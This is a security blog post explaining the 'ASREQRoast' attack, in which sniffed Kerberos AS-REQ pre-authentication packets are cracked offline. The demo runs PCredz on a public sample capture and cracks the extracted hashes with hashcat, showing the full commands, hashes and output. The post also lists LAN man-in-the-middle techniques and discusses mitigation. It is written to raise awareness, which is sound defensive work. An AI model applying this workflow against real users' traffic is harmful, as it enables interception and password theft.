_ _____ _____ _____ _____ _____ _____ _ / | | _ | __| __ | __| | __ |___ ___ ___| |_ _ / / | |__ | -| __| | | -| . | .'|_ -| _| |_|_/ |__|__|_____|__|__|_____|__ _|__|__|___|__,|___|_| |__| 2019-07-01 ASREQRoast - From MITM to hash ============================== While reading up on the typical kerberos authentication workflow, I realized that it's possible to get a hash of the user's password (that you can attempt to crack). The only thing you have to do is to intercept the first packet in the kerberos authentication process, called AS-REQ. I didn't find the attack to be as well documented as the other attacks such as kerberoasting or ASREPRoast[4], therefore I decided to write this post to increase awareness of the issue. What this attack means is that an attacker who can gain a passive man-in-the-middle position (MITM) for the duriation of user logon or other action that triggers kerberos authentication, will be able to launch offline password cracking attacks against the victim user performing the authentication attempt. I'd like to point out that this attack has been known at least since 2014: "Thus, Kerberos pre-authentication can prevent the active attacker. However, it does not prevent a passive attacker from sniffing the client's encrypted timestamp message to the KDC. If the attacker can sniff that full packet, he can brute force it offline."[5] The oldest reference of pre-authentication I can find is from rfc6113[7], which was published April 2011. # Demo For this demo, I'll use a sample from Wireshark's collection. Imagine that you collected it yourself by sniffing traffic from a victim user. Sample: krb-816 from wireshark's sample page[0]. Launching the PCredz[1] tool from @lgandx to scan the pcap file: ~/tools/PCredz $ ./Pcredz -f ~/downloads/krb-816.cap Pcredz 1.0.0 Author: Laurent Gaffie Please send bugs/comments/pcaps to: laurent.gaffie@gmail.com This script will extract NTLM (http,ldap,smb,sql,etc), Kerberos, FTP, HTTP Basic and credit card data from a given pcap file or from a live interface. CC number scanning activated Using TCPDump format 1 protocol: udp > MSKerb hash found: $krb5pa$23$des$DENYDC$dummy$32d396a914a4d0a78e979ba7 5d4ff53c1db7294141760fee05e434c12ecf8d5b9aa5839e09a2244893aff5f384f79c3 7883f154a 19 protocol: udp > MSKerb hash found: $krb5pa$23$u5$DENYDC$dummy$daf324dccec73739f6e49ef8f de60a9f9dfff50551ff5a7e969c6e395f18b842fb17c3b503df3025ab5a9dfc3031e893 c4002008 /home/magnus/downloads/krb-816.cap parsed in: 0.0747 seconds (File size 0.0343 Mo). The capture contained two AS-REQ's that used pre-authentication[2], which means that the user's NTLM hash was used as an encryption key to encrypt a timestamp. Therefore, we can test if a user has a specific password by hashing it with NTLM, and then using the hash in an attempt to decrypt the encrypted timestamp. If it worked, we've successfully guessed the victim's password. In other words, we may launch an offline bruteforce attack. We can do that with hashcat[3], mode 7500: ~/tools/hashcat $ ./hashcat -m 7500 as-req.hashes openwall.net-all.txt hashcat (v5.1.0-893-gb8ab78d4) starting... ... Dictionary cache built: * Filename..: /Users/mks/resources/SecLists/Passwords/openwall.net-all. txt * Passwords.: 3721224 * Bytes.....: 41000012 * Keyspace..: 3721224 * Runtime...: 0 secs $krb5pa$23$des$DENYDC$dummy$32d396a914a4d0a78e979ba75d4ff53c1db72941417 60fee05e434c12ecf8d5b9aa5839e09a2244893aff5f384f79c37883f154a:123 $krb5pa$23$u5$DENYDC$dummy$daf324dccec73739f6e49ef8fde60a9f9dfff50551ff 5a7e969c6e395f18b842fb17c3b503df3025ab5a9dfc3031e893c4002008:123 Session..........: hashcat Status...........: Cracked Hash.Name........: Kerberos 5 AS-REQ Pre-Auth etype 23 Hash.Target......: /Users/mks/shared/as-req.hashes Time.Started.....: Mon Jul 1 13:49:22 2019 (0 secs) Time.Estimated...: Mon Jul 1 13:49:22 2019 (0 secs) Guess.Base.......: File (/Users/mks/resources/SecLists/Passwords/openwa ll.net-all.txt) Guess.Queue......: 1/1 (100.00%) Speed.#2.........: 288.7 kH/s (7.43ms) @ Accel:2 Loops:1 Thr:64 Vec:1 Speed.#*.........: 288.7 kH/s Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts Progress.........: 6144/7442448 (0.08%) Rejected.........: 0/6144 (0.00%) Restore.Point....: 0/3721224 (0.00%) Restore.Sub.#2...: Salt:1 Amplifier:0-1 Iteration:0-1 Candidates.#2....: 12345 -> acumen Started: Mon Jul 1 13:49:13 2019 Stopped: Mon Jul 1 13:49:24 2019 That's it. # Mitigation There's none. Technically speaking, you could disable kerberos pre-authentication, but that makes you vulnerable to the even more scarier ASREPRoast[4] attack. Your best bet is increasing the difficulty of cracking user's passwords, ensuring that 2FA is enabled on all authentication sites and increasing the difficulty of getting a MITM position Luckily, kerberos isn't typically used over the internet, therefore limiting the attack surface. However gaining a MITM position on a LAN has historically been straight forward. As an example, these are just a few techniques to gain MITM on a LAN: - ARP poisoning - ICMP type 13 redirect - rogue DHCP - rogue IPv6 announcements The problem is that there's no confidentiality protection of the traffic. If only some transport layer encryption was in place, problem would be solved. # Practicality The practicallity of this attack depends on your abilities to gain MITM and the complexity of user passwords. Since there is no active part besides MITMing a victim, the level of stealth of this attack is the same as the level of stealth involved in gaining and maintaining your MITM position. # Password cracking performance Here's a comparison from a hashcat benchmark of NTLM and the AS-REQ packet on a RTX 2080Ti. As you can see it's 135 times slower to crack AS-REQ hashes when comparing to NTLM hashes. That's not really that bad when thinking about the fact that you could get cracking speeds of 632 GH/s with NTLM for $7.34/hour on AWS[6]. That would be about 4.7 GH/s with AS-REQ. Hashmode: 1000 - NTLM Speed.#1.........: 87510.8 MH/s (24.82ms) @ Accel:32 Loops:1024 Thr: 1024 Vec:2 Hashmode: 7500 - Kerberos 5 AS-REQ Pre-Auth etype 23 Speed.#1.........: 646.0 MH/s (54.71ms) @ Accel:128 Loops:64 Thr: 64 Vec:1 If you have an opinion of the practicality of this attack, let me know. # References 0: https://wiki.wireshark.org/SampleCaptures#Kerberos_and_keytab_file_for_decryption 1: https://github.com/lgandx/PCredz 2: https://ldapwiki.com/wiki/Kerberos%20Pre-Authentication 3: https://hashcat.net 4: https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ 5: https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx 6: https://www.coalfire.com/The-Coalfire-Blog/March-2019/High-Power-Hash-Cracking-with-NPK 7: https://tools.ietf.org/html/rfc6113